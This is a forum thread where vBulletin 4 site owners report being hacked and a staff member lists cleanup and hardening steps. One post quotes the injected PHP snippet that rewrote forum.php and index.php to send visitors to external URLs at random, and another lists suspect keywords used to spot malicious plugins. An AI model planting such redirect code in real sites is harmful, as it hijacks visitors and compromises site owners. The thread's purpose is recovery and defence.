[Forum] hacking the vBulletin 4 forum

[khalled]

i own vBulletin 4 forum and i sever this weak more than three time of hacking the forum and change the code contents of the following files (forum.php & Index.php) by the following content

<?php
$arr = array('http://017f8053.*************','http://74a1946a.*************','http://98a89915.*************');
print '<META http-equiv="refresh" content="2;URL='.$arr[rand(0,3)].'">';
?>

which redirect the forum to the above website
i change the file permission to be read only but the hacker change the content alos

[Jay - SonyAlphaLab]

I got hacked today as well. Looks like the same thing, but they took down my main website as well. Last week they took down my forum and I lost everything unfortunately. Cyberforums.net is taking the credit and bragging about taking my website down

Please help with how to prevent this from happening again, and a fast fix? I tried replacing those files and it's better, but I still have issues?

Thanks in advance for any help on this issue!!

Jay

[markp_2000]

In addition to the index.php and forum.php files being rewritten, I found rss.php file that had some truly nasty code.

Mark

[Jay - SonyAlphaLab]

In addition to the index.php and forum.php files being rewritten, I found rss.php file that had some truly nasty code.

Mark

Thanks for the info!! Do you know how they got in??

[markp_2000]

I think it was left over code in the install directory. When then gained access they added some new admins and rewrote those files and added the rss.php file. The recommendation is to delete the files in the install directory to prevent infection/re-infection.

[Wayne Luke]

First you need to follow our advisory about deleting the install folder off your forums.

Then please read the following two blog posts:

http://www.vbulletin.com/forum/blogs/zachery/3993888-fixing-your-site-after-you-have-been-hacked

http://www.vbulletin.com/forum/blogs/zachery/3993849-best-practices-for-securing-your-vbulletin-site

Also please see these recent security announcements:

vBulletin 4.1.x-4.2.x & All versions of vBulletin 5: http://www.vbulletin.com/forum/forum...-1-vbulletin-5
vBulletin 5.0.x patch released, for a different security issue: http://www.vbulletin.com/forum/forum...d-all-versions

[Wayne Luke]

There are four steps to securing your site. If you don't do them all or you do them in the wrong order than you're still susceptible to being attacked again.

Close the hole... This has three subparts in this instance.

1. Delete your install folder
2. Review your admin users and delete any that don't belong. Don't ban them. Don't make them regular users. Delete them.
3. Close access to your AdminCP using .htaccess. Use either user authorization with a different username and password or IP address restrictions.

Fill the Hole... There are seven subparts in this instance.

1. Review your files for changes. You can do this under Maintenance -> Diagnostics.
2. Delete any Suspect Files.
3. Replace any files marked as "Does not contain expected contents"
4. Scan your plugins for malicious code (exec, base64, system, pass_thru, iframe are all suspect keywords). Delete any you find.
5. Repair any templates. Any templates that you don't have notes on changing, you need to revert. If you're using a custom style, it is best to delete your existing style and reimport from a fresh download.
6. Update your Addon Products.
7. Rebuild your datastores. You can use tools.php in the "do not upload" folder to do this. Upload it to your admincp directory, delete when done.

Secure the Hole
Parts of this were done by closing the hole but there are still things to do here.

1. Keep notes of all changes you make to the system - what templates and phrases you change, what files belong to which addons, what plugins do the addons install.
2. Consider using a separate Super Admin who has access to admin logs in the AdminCP. There should be only one Super Admin.
3. Create a lower permission Administrator for every day use.
4. Review your permissions in the system.
5. Block off access to the includes, modcp, packages and vb folders via .htaccess. Deny All can work here, unless you use the ModCP. You need user authorization there.
6. Move your attachments outside the forum root directory.
7. Create a complete backup of your site. Make database backups weekly.

Vigilance
You need to keep active on the security of the site.

1. Give out the fewest permissions necessary for anyone to do their job
2. Make sure your hosting provider updates the software.
3. Update to the latest vBulletin when it is released.
4. Make sure your addons are always up to date.

[Jay - SonyAlphaLab]

Thank you very much for all the information Mark and Wayne I will go over everything and make sure all the holes are closed

Greatly appreciate the help and thanks again,
Jay

[Huskermax]

In admincp can you find out what the hacked users edited? Like in control panel log? I had a hack last week and when I looked up the users in the control panel it just said edited notice.php. Which I deleted the hacks edits.

[Wayne Luke]

You can look at the Admin Log in the Control Panel. It will contain their actions if they didn't edit it to remove those log entries.

[Huskermax]

You can look at the Admin Log in the Control Panel. It will contain their actions if they didn't edit it to remove those log entries.

Thanks.

[Huskermax]

You can look at the Admin Log in the Control Panel. It will contain their actions if they didn't edit it to remove those log entries.

They would only be able to prune that if their I'd was in config correct?

[Wayne Luke]

They would only be able to prune that if their I'd was in config correct?

No... They would be able to install a plugin and delete their entries that way bypassing the config.php file. The config.php only works when people play by the established rules. It isn't a golden lock. The options are there to 1) prevent damage in user account compromises and 2) keep honest people honest. Think of it the same way as the lock on your front door isn't really going to keep a determined burglar out of your house.

[markp_2000]

I also found an image.php file in my image directory.

[Huskermax]

No... They would be able to install a plugin and delete their entries that way bypassing the config.php file. The config.php only works when people play by the established rules. It isn't a golden lock. The options are there to 1) prevent damage in user account compromises and 2) keep honest people honest. Think of it the same way as the lock on your front door isn't really going to keep a determined burglar out of your house.

Got it.